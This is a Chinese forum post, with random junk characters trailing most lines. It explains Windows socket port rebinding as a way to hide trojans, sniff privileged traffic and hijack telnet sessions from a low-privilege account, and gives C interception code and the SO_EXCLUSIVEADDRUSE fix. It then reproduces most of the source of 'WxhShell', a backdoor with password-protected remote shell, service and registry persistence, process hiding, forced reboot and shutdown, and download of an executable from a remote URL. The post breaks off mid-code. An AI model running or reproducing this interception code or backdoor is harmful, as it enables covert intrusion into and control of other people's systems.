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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: N"RPCd_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b;*'j9ly  
<Piq?&VX[  
  saddr.sin_family = AF_INET; 7LM&3mA<  
iD%a;]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); TG8U=9qt  
vfj{j= G  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <h+@;/v:  
jA2%kX\6//  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tI^[|@,  
pRxVsOb  
  这意味着什么?意味着可以进行如下的攻击: FIAmAZH}_  
% jf|efxo  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7rbw_m`12-  
'byTM?Sp{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (RrC<5"  
o(> #}[N}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Z  eY *5m  
1#;^ Z3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =_3rc\0  
b&QI#w  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 SYQP7oG9oQ  
KRn[(yr`%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 yKK9b  
@].!}tz  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \ kY:|T  
z{PPPFk4J  
  #include *81/q8Az  
  #include #PPHxh*S  
  #include *wX[zO+o  
  #include    [AIqKyIr  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9m_~Zs}Z  
  int main() nQ|($V1?W  
  { Y`$\o  
  WORD wVersionRequested; LfU? 1:Du  
  DWORD ret; xe(7q1   
  WSADATA wsaData; g2^{+,/^K  
  BOOL val; v@2@9/  
  SOCKADDR_IN saddr; %qE"A6j  
  SOCKADDR_IN scaddr; @}wa Z?'  
  int err; +>2.O2)%q  
  SOCKET s;   < /5  
  SOCKET sc; wL]#]DiE  
  int caddsize; snu?+*6  
  HANDLE mt; ,afO\oe>MG  
  DWORD tid;   E+e),qsbO  
  wVersionRequested = MAKEWORD( 2, 2 ); /zQx}U)TP  
  err = WSAStartup( wVersionRequested, &wsaData ); lfd-!(tXD  
  if ( err != 0 ) { Jy "\_Vv l  
  printf("error!WSAStartup failed!\n"); 20haA0s  
  return -1; yt,Ky8y1  
  } U7g,@/Qx  
  saddr.sin_family = AF_INET; q(R|3l^6T  
   w@6y.v1I{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 eTw9 c }[  
ieWXr4@:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,!,M'<?"  
  saddr.sin_port = htons(23); =oiz@Q@H  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y0?HZ Xq  
  { (|<+yQ,@>  
  printf("error!socket failed!\n"); cH:&S=>h  
  return -1; kz("LI]  
  } 'L9hM.+  
  val = TRUE; +eKLwM  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +R;LHRS%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *:un+k  
  { *<[\|L:#]Z  
  printf("error!setsockopt failed!\n"); /F|VYl^_  
  return -1; Slv:CM M  
  } `)KGajB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ea`6J  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,z`D}< 3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <}c7E3Uc  
vpdPW%B  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) XN?my@_HpM  
  { :P%?!'M  
  ret=GetLastError(); mMWhUr  
  printf("error!bind failed!\n"); 7Lj:m.0O^  
  return -1; ]c|JxgU  
  } cH|J  
  listen(s,2); 7i02M~*uS  
  while(1) 08k  
  { Qgf|obrEi6  
  caddsize = sizeof(scaddr); &m9= q|;m  
  //接受连接请求 BXxJra/V  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); xb9^WvV  
  if(sc!=INVALID_SOCKET) (Nd)$Oq[4  
  { K)[\IJJM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); kVt/Hhd9  
  if(mt==NULL) <HS{A$]  
  { MYz!zI  
  printf("Thread Creat Failed!\n"); eAjR(\f>  
  break; 63$`KG3  
  } lZ2g CZ  
  } 55] MRv  
  CloseHandle(mt); u WdKG({][  
  } \LQZoD?W  
  closesocket(s); %Q.M& U  
  WSACleanup(); RF -c`C  
  return 0; /n$R-Q  
  }   E&L ml?@  
  DWORD WINAPI ClientThread(LPVOID lpParam) HB*BL+S06  
  { 'Ce?!U O  
  SOCKET ss = (SOCKET)lpParam; d$E>bo-\   
  SOCKET sc; 0a@tPskV  
  unsigned char buf[4096];  z.2UZ%:  
  SOCKADDR_IN saddr; $/(``8li_  
  long num; [(TmAEON  
  DWORD val; Q.V@Sawe5  
  DWORD ret; nG?Z* n  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8NE[L#k  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   H<g8u{ $  
  saddr.sin_family = AF_INET; |DVFi2   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u$ o 19n  
  saddr.sin_port = htons(23); @(N} {om  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I*a .!/$)  
  { -y3[\zNe  
  printf("error!socket failed!\n"); 2lN0Sf@  
  return -1; X2,v'`U5&  
  } Y-+Kf5_[  
  val = 100; VJCj=jX  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8 K)GH:a  
  { 6e5A8e8"]  
  ret = GetLastError(); 8-kR {9r  
  return -1; BV/ ^S.~  
  } m@L>6;*  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) If'N0^'W  
  { meThjCC  
  ret = GetLastError(); Z R~2Y?Wt9  
  return -1; Y=<zR9f`  
  } #KHj.Vg  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) B !rb*"[  
  { V}Q`dEk2r  
  printf("error!socket connect failed!\n"); k{|> !(Ax  
  closesocket(sc); K9nW"0>  
  closesocket(ss); !Zc#E,  
  return -1; B7[#z{8'#  
  } <RH%FhT  
  while(1) LUpkO  
  { ka(3ONbG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ={6vShG)m  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .+u r+" i  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Q MX  
  num = recv(ss,buf,4096,0); #BH]`A J  
  if(num>0) .;,,{ ;  
  send(sc,buf,num,0); j9/iBK\Y  
  else if(num==0) g@?R"  
  break; 2sEG# /Y=  
  num = recv(sc,buf,4096,0); }#=t%uZ/  
  if(num>0)  : ?Z9  
  send(ss,buf,num,0); }~0}B[Rf  
  else if(num==0) X%;4G^%ZI  
  break; dEX67rUj;  
  } am| 81)|a  
  closesocket(ss); 8QI+O`  
  closesocket(sc); /%{CJ0Y  
  return 0 ; 0dD.xuor  
  } @.G;dL.f{  
o62GEl25  
(5hUoDr!  
========================================================== C9FAX$$^(Y  
<5h}\5#<j  
下边附上一个代码,,WXhSHELL &&"+\^3  
?01ru5ys/o  
========================================================== +I:/8,&-x  
lD# yXLaC\  
#include "stdafx.h" ~~p)_  
ir|L@Jj,  
#include <stdio.h> 4Y G\<Zf  
#include <string.h> ^0(D2:E  
#include <windows.h> 7MKZ*f@x;  
#include <winsock2.h> -y$<fu9 e  
#include <winsvc.h> lx ~C{tl2  
#include <urlmon.h> AmCymT3P*e  
2@N-#x '  
#pragma comment (lib, "Ws2_32.lib") Dj0D.}`~  
#pragma comment (lib, "urlmon.lib") oXVx9dZ  
i"4;{C{s  
#define MAX_USER   100 // 最大客户端连接数 ]\ZmK0q<:  
#define BUF_SOCK   200 // sock buffer T/hz23nH  
#define KEY_BUFF   255 // 输入 buffer 1@~ 1vsJ  
usi3z9P>n  
#define REBOOT     0   // 重启 j:^gmZ;J  
#define SHUTDOWN   1   // 关机 .^ba*qb`{  
N6*FlG-  
#define DEF_PORT   5000 // 监听端口 5+(Cp3  
Tj6Czq=*%T  
#define REG_LEN     16   // 注册表键长度 ZF<$6"4N  
#define SVC_LEN     80   // NT服务名长度 tq*6]q8c>  
}Cb-7/  
// 从dll定义API @FRas00)|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;j<#VS-]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ? Z2`f6;W4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j5~~%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =C7<I   
"837b/>/  
// wxhshell配置信息 = ^%*:iT  
struct WSCFG { -V'Y^Df  
  int ws_port;         // 监听端口 LGYg@DR  
  char ws_passstr[REG_LEN]; // 口令 %9L+ Q1o  
  int ws_autoins;       // 安装标记, 1=yes 0=no _.m|Ml,`{  
  char ws_regname[REG_LEN]; // 注册表键名 D'UIxc8  
  char ws_svcname[REG_LEN]; // 服务名  |vBy=:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~*tn|?%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pqohLA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !bn=b>+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &}#zG5eu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]KUeSg|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hij 9r z  
>``  
}; z6Nz)$!_i  
J)H*tzg  
// default Wxhshell configuration TCkMJs?  
struct WSCFG wscfg={DEF_PORT, Dh68=F0  
    "xuhuanlingzhe", J7kqyo"  
    1, F84<='K  
    "Wxhshell", tU.~7f#+A  
    "Wxhshell", {]4Zpev  
            "WxhShell Service", OgzKX>N`A  
    "Wrsky Windows CmdShell Service", gA]3h8%w  
    "Please Input Your Password: ", *(Z\ "o!  
  1, GgtYO4,  
  "http://www.wrsky.com/wxhshell.exe", Vf$$e)  
  "Wxhshell.exe" !~xlze   
    }; /.t1Ow  
kJCeQK:W  
// 消息定义模块 {=MRJg!U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TALiH'w6|e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >h$Q%w{V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -6e^`c6{  
char *msg_ws_ext="\n\rExit."; D]WrPWL8v  
char *msg_ws_end="\n\rQuit."; e0]%ko"  
char *msg_ws_boot="\n\rReboot..."; j=u) z7J  
char *msg_ws_poff="\n\rShutdown..."; L=I;0Ip9y  
char *msg_ws_down="\n\rSave to "; 2~yj =D27Z  
P<LmCY m  
char *msg_ws_err="\n\rErr!"; .OlPVMFt  
char *msg_ws_ok="\n\rOK!";  1%";|  
)E^Pn|H  
char ExeFile[MAX_PATH]; wVF qkJ  
int nUser = 0; LMLrH.  
HANDLE handles[MAX_USER]; 1c*;Lr.K  
int OsIsNt; u Vo"_c w  
~,x4cOdR#  
SERVICE_STATUS       serviceStatus; ?kF? ~\c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c^z) [  
qu;$I'Ul%  
// 函数声明 C4 -y%W"P  
int Install(void); z0|-OCmL  
int Uninstall(void); ~1nKL0C6u  
int DownloadFile(char *sURL, SOCKET wsh); {"|la;*I  
int Boot(int flag); _]L]_Bh  
void HideProc(void); Zlrbd  
int GetOsVer(void); DbYnd%k*4  
int Wxhshell(SOCKET wsl); 5+q dn|9%T  
void TalkWithClient(void *cs); TQQh:y  
int CmdShell(SOCKET sock); 0y2zjXM;3  
int StartFromService(void);  I*n]8c  
int StartWxhshell(LPSTR lpCmdLine); Qve5qJ  
hG272s2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \:2z!\iP`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); tY#Zl 54~{  
`w)yR>lqh  
// 数据结构和表定义 <s$Jj><  
SERVICE_TABLE_ENTRY DispatchTable[] = j_z@VT}y  
{ E,Xl8rC  
{wscfg.ws_svcname, NTServiceMain}, j rX`_Y  
{NULL, NULL} XR$i:kL,,  
}; i\x@s>@x}  
ZWKvz3Wt  
// 自我安装 U6YHq2<  
int Install(void) \$gA2r  
{ wZ=@0al  
  char svExeFile[MAX_PATH]; #oN}DP  
  HKEY key; A.~wgJDO  
  strcpy(svExeFile,ExeFile); ST,+]p3L(  
O,#,`2Qc  
// 如果是win9x系统,修改注册表设为自启动 8EBd`kiq  
if(!OsIsNt) { [I7=]X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0:c3aq&u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gLK0L%"5  
  RegCloseKey(key); s}bLA>~Ta  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >'jkL5l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QvJ29  
  RegCloseKey(key); xE!b)@>S  
  return 0;  SWyJ`  
    } SH O&:2  
  } pwV~[+SS_  
} D Q c pIV  
else { N1" bH~  
D$E#:[  
// 如果是NT以上系统,安装为系统服务 FU;a { irB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7\gu; [n  
if (schSCManager!=0) o'8%5 M@  
{ }rF4M1+B\  
  SC_HANDLE schService = CreateService bH!_0+$P  
  ( ^oNcZK>  
  schSCManager, OjrZ6  
  wscfg.ws_svcname, i`?yi-R&  
  wscfg.ws_svcdisp, \[%_ :9eq  
  SERVICE_ALL_ACCESS, tTh4L8fO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &-m}w:j=  
  SERVICE_AUTO_START, at1 oxmy  
  SERVICE_ERROR_NORMAL, hf;S#.k  
  svExeFile, +RnWeBXAT  
  NULL, XJk~bgO*  
  NULL, <;cch6Z  
  NULL, ,$RXN8x1  
  NULL, ~yA^6[a=  
  NULL {aUv>T"c  
  ); We'=/!  
  if (schService!=0) C 'S_M@I=  
  { TP)o0U  
  CloseServiceHandle(schService); j,z)x[3}  
  CloseServiceHandle(schSCManager); dux_v"Xl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Mhc5<~?  
  strcat(svExeFile,wscfg.ws_svcname); MM( ,D& Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Nnoj6+b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -OnKvpeI  
  RegCloseKey(key); Dw y|mxlFn  
  return 0; E )2/Vn2  
    } fB'Jo<C  
  } Dj6^|R$z&  
  CloseServiceHandle(schSCManager); 8?|W-rN  
} n#B}p*G  
} LLoV]~dvUu  
LLMGs: [  
return 1; 7uO tdH+  
} 6z'0fi|EN  
@g*[}`8]y  
// 自我卸载 q ;_?e_  
int Uninstall(void) 'Zqt~5=5  
{ &vQ5+  
  HKEY key; 5glEV`.je  
ch0cFF^]  
if(!OsIsNt) { f lt'~fe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6="o&!  
  RegDeleteValue(key,wscfg.ws_regname); =\\rk,F  
  RegCloseKey(key); Bx.hFEL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dKL9}:oUa  
  RegDeleteValue(key,wscfg.ws_regname); z80*Ylx  
  RegCloseKey(key); /q/^B> ]  
  return 0; Kek %io  
  } tCGA3t  
} ?9?o8!  
} ;Rm';IW$  
else { v "[<pFj^  
aJc>"#+ o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :_+U[k(#  
if (schSCManager!=0) K9 K.mGYc  
{ XXQC`%-]<i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ' -aLBAxy  
  if (schService!=0) TGjxy1A  
  { XjYMp3  
  if(DeleteService(schService)!=0) { }g[Hi`  
  CloseServiceHandle(schService); ?DnQU"_$  
  CloseServiceHandle(schSCManager); ~bis!(}p-  
  return 0; >4HB~9dKU  
  } cBHUa}:  
  CloseServiceHandle(schService); K)h<#F  
  } Wu l8ej:  
  CloseServiceHandle(schSCManager); %{me<\(  
} f/Z-dM\e  
} vq@"y%C4  
"u{ymJ]t  
return 1; E;"VI2F  
} TT){15T;"  
qR , 5  
// 从指定url下载文件 ^{NN-  
int DownloadFile(char *sURL, SOCKET wsh) 0XE(vc!  
{ j-qg{oIJ  
  HRESULT hr; cvx"XxE,  
char seps[]= "/"; ZT,au SX  
char *token; PAVlZ}kj  
char *file; +LF=oM<  
char myURL[MAX_PATH]; ]n$ v ^  
char myFILE[MAX_PATH]; 5cl^:Ua  
V=+p8nE0  
strcpy(myURL,sURL); 715J1~aRNr  
  token=strtok(myURL,seps); |@?='E?h  
  while(token!=NULL) kpk ^Uw%f  
  { FE#| 5;q.  
    file=token; ONc#d'-L  
  token=strtok(NULL,seps); 8zwH^q[`r  
  } f,BJb+0  
]HRHF'4  
GetCurrentDirectory(MAX_PATH,myFILE); DvA#zX[  
strcat(myFILE, "\\"); :MH=6  
strcat(myFILE, file); a &`^M  
  send(wsh,myFILE,strlen(myFILE),0); g7eI;Tpv  
send(wsh,"...",3,0); QEmktc1 7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E#kH>q@K`$  
  if(hr==S_OK) 5F :\U  
return 0; >as+#rz1p  
else [y<s]C6E  
return 1; <FN +  
](IOn:MuDE  
} 'n?"f|G  
cc"<H}g>`  
// 系统电源模块 aQso<oK  
int Boot(int flag) q@4Cw&AI+  
{ FE06,i\{  
  HANDLE hToken; ~0vNs2D,S  
  TOKEN_PRIVILEGES tkp; &3*r-9BZ  
)F0Q2P1I  
  if(OsIsNt) { B\`${O(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cL"Ral-qB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^q<EnsY  
    tkp.PrivilegeCount = 1; }5X.*wz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >PGsY[N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YT@H^=  
if(flag==REBOOT) { rPHM_fW(O@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -3XnUGK  
  return 0; [c99m:*+  
} sr:hR Q27  
else { \ow(4O#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q?f-h<yRQ  
  return 0;  yT(86#st  
} hi Ws:Yq  
  } Zj nWbnW  
  else { Z,F1n/7  
if(flag==REBOOT) { r&XxF >  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :vC+}.{p  
  return 0; MOIVt) ZY  
} EV~?]Kt~  
else { /EvT%h?p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6p 14BruV  
  return 0; 1DF8-|+  
} \<b42\a}  
} dBW4%Zh  
4_4|2L3  
return 1; G2J4N2hu  
} FWS!b!#,N  
@$wfE\_L  
// win9x进程隐藏模块 YJwffV}nd  
void HideProc(void) Fk?KR  
{ HA0yX?f]  
h:vI:V[/X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y!\q ', F  
  if ( hKernel != NULL ) qmnW  
  { , w_C~XN$t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g;y*F;0@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5WtI.7r  
    FreeLibrary(hKernel); &hzr(v~;  
  } 1_LGlu~&  
k:1|Z+CJ  
return; _%aT3C}k  
} j*_#{niy:  
5)M#hx%]#  
// 获取操作系统版本 o^BX:\}  
int GetOsVer(void) Vb~;"WABo  
{ l +O\oD?-  
  OSVERSIONINFO winfo; ]Vf2Mn=]"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SLud}|f;o  
  GetVersionEx(&winfo); 9cMMkOM J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (HeIO  
  return 1; :NWrbfz  
  else 83{v_M  
  return 0; Km0P)Z  
} ?:RWHe.P  
c5{3  
// 客户端句柄模块 SxM5'KQ  
int Wxhshell(SOCKET wsl) w)gMJX/0yw  
{ $tebNi P  
  SOCKET wsh; v1E(K09h2  
  struct sockaddr_in client; JRw)~Tg @  
  DWORD myID; zZ])G  
46c0;E\9  
  while(nUser<MAX_USER) ?qtL*;  
{ "ScY'<  
  int nSize=sizeof(client); vn96o] n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E~,Wpl}  
  if(wsh==INVALID_SOCKET) return 1; <*$IZl6I  
&>hln<a>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `mKK1x  
if(handles[nUser]==0) 8#a2 kR<b  
  closesocket(wsh); $yMNdBI[  
else ?w@KF%D  
  nUser++; jiLt *>I  
  } B{Lcx~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !p4FK]B/u  
[JVUa2Sm  
  return 0; T- lHlm  
} >zv}59M  
&4Y@-;REt  
// 关闭 socket [b@9V_  
void CloseIt(SOCKET wsh) F#7A6|  
{ IQ9Rvnna  
closesocket(wsh); G~Fjla\?Q  
nUser--; @X#e  
ExitThread(0); OlYCw.Zu  
} z%L\EP;o}  
1=Q3WMT  
// 客户端请求句柄 IZ+ZIR@}ci  
void TalkWithClient(void *cs) 1$ {Cwb/F  
{ " G0HsXi  
 <:`x> _  
  SOCKET wsh=(SOCKET)cs; 2aW"t.[j  
  char pwd[SVC_LEN]; M'ZA(LVp  
  char cmd[KEY_BUFF]; %ZZW p%uf  
char chr[1]; %|By ?i  
int i,j; WR4\dsgCU  
#pp6 ycy  
  while (nUser < MAX_USER) { 4B@L<Rl{\  
},tn  
if(wscfg.ws_passstr) { [Ma d~;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3 e<sNU?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vu1X@@z  
  //ZeroMemory(pwd,KEY_BUFF); {@<EVw  
      i=0; jX{t/8v/s4  
  while(i<SVC_LEN) { =h}IyY@o  
J"]P" `/  
  // 设置超时 lnRbvulH  
  fd_set FdRead; <*74t%AJ%  
  struct timeval TimeOut; KN zm)O  
  FD_ZERO(&FdRead); 4krK CD>|G  
  FD_SET(wsh,&FdRead); YW)& IA2  
  TimeOut.tv_sec=8; ZG)%vB2c  
  TimeOut.tv_usec=0; /s^O M`5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1$ ~W~O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C<\O;-nHH  
9WsGoZP n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ` Ui|T  
  pwd=chr[0]; /YH5s=  
  if(chr[0]==0xd || chr[0]==0xa) { ih/MW_t=m=  
  pwd=0; HESORa;  
  break; >2?O-WXe  
  } 0=Z_5.T>  
  i++; Dz>v;%$S-  
    } [1gWc`#  
2x&mJ}o#k  
  // 如果是非法用户,关闭 socket vFGFFA/K}N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kkE1CHY  
} 7tr;adjs  
c_^-`7g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y;WHjW(K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O(oGRK<xM  
~Fd<d[b?  
while(1) { eZ~ZWb,%  
rZv5>aEI  
  ZeroMemory(cmd,KEY_BUFF); cA{zyq26  
'X(G><R9  
      // 自动支持客户端 telnet标准   geRD2`3;  
  j=0; .I&]G  
  while(j<KEY_BUFF) { _4jRUsvjY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |0$wRl+kN  
  cmd[j]=chr[0]; }^ j"@{~  
  if(chr[0]==0xa || chr[0]==0xd) { L z'05j3!  
  cmd[j]=0; 2,O;<9au<  
  break; Lg[_9 `\  
  } lnoK.Vk9,  
  j++; Ju"*>66  
    } vo_m$/O  
P I0[  
  // 下载文件 +TnRuehtk  
  if(strstr(cmd,"http://")) { GY%48}7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G&/RJLX|w  
  if(DownloadFile(cmd,wsh)) lIj2w;$v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2|n~5\K|t  
  else 0*KU"JcXd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [LJ1wBMw  
  } LMmW3W`   
  else { Be(h x  
J m+;A^;  
    switch(cmd[0]) { ;8 D31OT  
  ,!?&LdPt>  
  // 帮助 k )T;WCia  
  case '?': { wZA(><\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x !o>zT\  
    break; ^Pk-<b4}  
  } tOK lCc  
  // 安装 Wl:vO^  
  case 'i': { >}~Pu| _ S  
    if(Install()) b4$-?f?V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {b^JH2,  
    else D d$ SQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cDS6RO?  
    break; )J"Lne*"  
    } v~N8H+! d  
  // 卸载 ):lq}6J#  
  case 'r': { (&U8NeWZ  
    if(Uninstall()) l`s_ #3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k]=Yi;  
    else $6a55~h|(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =sk]/64h``  
    break; (bk~,n_  
    } TrHz(no  
  // 显示 wxhshell 所在路径 H *gF>1  
  case 'p': { G#&R/Tc5N  
    char svExeFile[MAX_PATH]; >d&_e[j  
    strcpy(svExeFile,"\n\r"); 0N~AQu  
      strcat(svExeFile,ExeFile); gZ*8F|sg  
        send(wsh,svExeFile,strlen(svExeFile),0); Jm|eZDp  
    break; Ub8|x]ix  
    } {VPF2JFB[  
  // 重启 Gmi w(T  
  case 'b': { -$#'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9:!<=rk  
    if(Boot(REBOOT)) P7;=rSW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (dxkDS-G  
    else { (q!tI* }  
    closesocket(wsh); |7V:~MTkk&  
    ExitThread(0); ]C =+  
    } x>^r%<WbX  
    break; p xrd D7  
    } p2;-*D  
  // 关机 xe;1D'(   
